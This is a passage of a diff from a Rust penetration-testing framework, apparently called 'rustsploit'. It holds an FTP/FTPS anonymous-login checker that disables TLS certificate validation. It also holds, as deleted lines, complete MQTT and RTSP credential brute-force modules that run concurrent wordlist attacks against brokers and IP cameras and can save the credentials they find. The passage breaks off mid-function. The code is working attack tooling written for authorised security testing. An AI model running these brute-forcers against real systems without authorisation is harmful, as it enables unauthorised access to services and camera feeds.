||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
ftps = ftps
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,322 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_int_range, prompt_default,
|
||||
load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const MQTT_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const MQTT_READ_TIMEOUT_MS: u64 = 2000;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct MqttBruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
client_id: String,
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!();
|
||||
let port = prompt_int_range("MQTT Port", 1883, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_wordlist("Username wordlist file").await?;
|
||||
let password_wordlist = prompt_wordlist("Password wordlist file").await?;
|
||||
let threads = prompt_int_range("Max threads", 8, 1, 1000).await? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
|
||||
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let client_id = prompt_default("MQTT Client ID", "rustsploit_client").await?;
|
||||
|
||||
let config = MqttBruteforceConfig {
|
||||
target: normalize_target(&target.to_string())?,
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
client_id,
|
||||
};
|
||||
run_mqtt_bruteforce(config).await
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ MQTT Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Tests MQTT broker authentication ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
async fn run_mqtt_bruteforce(config: MqttBruteforceConfig) -> Result<()> {
|
||||
let normalized = normalize_target(&config.target)?;
|
||||
let addr = if (normalized.starts_with('[') && normalized.ends_with(']')) || (!normalized.contains(':')) {
|
||||
format!("{}:{}", normalized, config.port)
|
||||
} else {
|
||||
normalized
|
||||
};
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow!("Username or password wordlist is empty."));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
|
||||
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len() // Assuming same length or cycling
|
||||
};
|
||||
// If not full combo, we define total as max(usernames, passwords) * cycles?
|
||||
// The original code was:
|
||||
// else if usernames.len() == 1 { passwords.len() }
|
||||
// else if passwords.len() == 1 { usernames.len() }
|
||||
// else { passwords.len() } -> implicit assumption of lockstep or cycling passwords against single user
|
||||
// We will stick to the previous logic's rough count or just say "many".
|
||||
|
||||
println!("{}", format!("[*] Approximate attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Use shared stats
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_flag.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate work items
|
||||
// To avoid huge memory usage for large combos, we can stream/generate on fly or push all if reasonable.
|
||||
// For consistency with other modules, we'll iterate.
|
||||
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
|
||||
spawn_task(
|
||||
&mut tasks, &semaphore, u.clone(), p.clone(),
|
||||
config.clone(), addr.clone(),
|
||||
found.clone(), stop_flag.clone(), stats.clone()
|
||||
).await;
|
||||
}
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
|
||||
}
|
||||
} else {
|
||||
// Linear strategy similar to original module
|
||||
// Original logic:
|
||||
// if user=1 -> iterate passwords
|
||||
// if pass=1 -> iterate users
|
||||
// else -> iterate passwords (reusing user[0]) - This was original bug/limitation?
|
||||
// Let's improve it: Cycle users if multiple
|
||||
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
spawn_task(
|
||||
&mut tasks, &semaphore, u.clone(), p.clone(),
|
||||
config.clone(), addr.clone(),
|
||||
found.clone(), stop_flag.clone(), stats.clone()
|
||||
).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for tasks
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Final report
|
||||
stats.print_final().await;
|
||||
|
||||
let found_guard = found.lock().await;
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid credentials found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
|
||||
for (u, p) in found_guard.iter() {
|
||||
println!(" {} {}:{}", "✓".green(), u, p);
|
||||
}
|
||||
|
||||
// Simple save prompt if needed, or rely on user using tee
|
||||
// The shared modules usually don't prompt for save at the end but user asked for previous behavior?
|
||||
// Other refactored modules REMOVED the "save to file" prompt at the end to unify behavior
|
||||
// (stdout is enough). I will stick to implicit unification: No post-run prompts.
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn spawn_task(
|
||||
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
|
||||
semaphore: &Arc<Semaphore>,
|
||||
user: String,
|
||||
pass: String,
|
||||
config: MqttBruteforceConfig,
|
||||
addr: String,
|
||||
found: Arc<Mutex<Vec<(String, String)>>>,
|
||||
stop_flag: Arc<AtomicBool>,
|
||||
stats: Arc<BruteforceStats>,
|
||||
) {
|
||||
let permit = semaphore.clone().acquire_owned().await.ok();
|
||||
if permit.is_none() { return; }
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// explicit drop of permit at end of scope
|
||||
let _permit = permit;
|
||||
|
||||
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { return; }
|
||||
|
||||
match try_mqtt_login(&addr, &user, &pass, &config.client_id).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
|
||||
found.lock().await.push((user.clone(), pass.clone()));
|
||||
stats.record_success();
|
||||
if config.stop_on_success {
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats.record_failure();
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats.record_error(e.to_string()).await;
|
||||
if config.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
async fn try_mqtt_login(addr: &str, username: &str, password: &str, client_id: &str) -> Result<bool> {
|
||||
// Resolve first (async)
|
||||
// We can use default tokio resolution via TcpStream::connect, but strictly speaking we might want
|
||||
// to resolve once if address is static, but here it's fine.
|
||||
|
||||
// Tokio TcpStream connect
|
||||
let stream = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(addr)
|
||||
).await.context("Connection timeout")??;
|
||||
|
||||
// We don't need explicit set_read_timeout for tokio stream generally if we use timeout() on ops
|
||||
// But let's act on ops.
|
||||
|
||||
let mut stream = stream;
|
||||
|
||||
// Build MQTT CONNECT packet (same logic as before)
|
||||
let mut packet = Vec::new();
|
||||
packet.push(0x10); // CONNECT
|
||||
|
||||
let protocol_name = b"MQTT";
|
||||
let protocol_level = 0x04;
|
||||
let connect_flags = 0xC0; // User + Pass
|
||||
let keep_alive: u16 = 60;
|
||||
|
||||
let mut var_header = Vec::new();
|
||||
var_header.extend_from_slice(&(protocol_name.len() as u16).to_be_bytes());
|
||||
var_header.extend_from_slice(protocol_name);
|
||||
var_header.push(protocol_level);
|
||||
var_header.push(connect_flags);
|
||||
var_header.extend_from_slice(&keep_alive.to_be_bytes());
|
||||
|
||||
let mut payload = Vec::new();
|
||||
let client_id_bytes = client_id.as_bytes();
|
||||
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(client_id_bytes);
|
||||
|
||||
let username_bytes = username.as_bytes();
|
||||
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(username_bytes);
|
||||
|
||||
let password_bytes = password.as_bytes();
|
||||
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
|
||||
payload.extend_from_slice(password_bytes);
|
||||
|
||||
let remaining_length = var_header.len() + payload.len();
|
||||
let mut remaining_length_bytes = Vec::new();
|
||||
let mut x = remaining_length;
|
||||
loop {
|
||||
let mut byte = (x % 128) as u8;
|
||||
x /= 128;
|
||||
if x > 0 { byte |= 0x80; }
|
||||
remaining_length_bytes.push(byte);
|
||||
if x == 0 { break; }
|
||||
}
|
||||
|
||||
packet.extend_from_slice(&remaining_length_bytes);
|
||||
packet.extend_from_slice(&var_header);
|
||||
packet.extend_from_slice(&payload);
|
||||
|
||||
// Send
|
||||
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
|
||||
stream.flush().await?;
|
||||
|
||||
// Read CONNACK
|
||||
let mut response = [0u8; 4];
|
||||
let n = tokio::time::timeout(
|
||||
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
|
||||
stream.read(&mut response)
|
||||
).await.context("Read timeout")??;
|
||||
|
||||
if n < 2 { return Err(anyhow!("CONNACK too short")); }
|
||||
if response[0] != 0x20 { return Err(anyhow!("Expected CONNACK 0x20")); }
|
||||
|
||||
if n >= 4 {
|
||||
match response[3] {
|
||||
0x00 => {
|
||||
// Success. Disconnect nicely.
|
||||
let _ = stream.write_all(&[0xE0, 0x00]).await;
|
||||
Ok(true)
|
||||
},
|
||||
0x04 | 0x05 => Ok(false), // Auth fail
|
||||
c => Err(anyhow!("Return code: 0x{:02x}", c))
|
||||
}
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,437 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::Write,
|
||||
net::SocketAddr,
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::sleep,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
|
||||
load_lines, get_filename_in_current_dir, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
|
||||
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = prompt_default("RTSP Port", "554").await?
|
||||
.parse().unwrap_or(554);
|
||||
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let _save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let save_path = if _save_results {
|
||||
Some(prompt_default("Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
|
||||
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
|
||||
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
let (addr, implicit_path) = normalize_target_input(target, port)?;
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
println!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
println!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut idx = 0usize;
|
||||
|
||||
// Use loop structure from other modules or this module's custom loop?
|
||||
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
|
||||
// I will preserve the original logic flow.
|
||||
|
||||
for pass in pass_lines {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let userlist: Vec<String> = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
for user in userlist {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for path in &paths {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let path_clone = path.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let command = advanced_command.clone();
|
||||
let headers = Arc::clone(&advanced_headers);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let addrs_clone = Arc::clone(&resolved_addrs);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
match try_rtsp_login(
|
||||
addrs_clone.as_slice(),
|
||||
&addr_clone,
|
||||
&user_clone,
|
||||
&pass_clone,
|
||||
&path_clone,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
).await {
|
||||
Ok(true) => {
|
||||
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
|
||||
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
|
||||
// The semaphore logic above (acquire_owned) already throttles concurrency.
|
||||
}
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
stats.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No credentials found (with these paths).".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
if let Ok(mut file) = File::create(&filename) {
|
||||
for (host, user, pass, path) in creds.iter() {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
|
||||
method = rtsp_method,
|
||||
host = host_for_uri,
|
||||
path = path_str.trim_start_matches('/'),
|
||||
auth = credentials,
|
||||
);
|
||||
|
||||
for header in extra_headers {
|
||||
request.push_str(header);
|
||||
if !header.ends_with("\r\n") {
|
||||
request.push_str("\r\n");
|
||||
}
|
||||
}
|
||||
request.push_str("\r\n");
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("200 OK") {
|
||||
Ok(true)
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
let trimmed = target.trim();
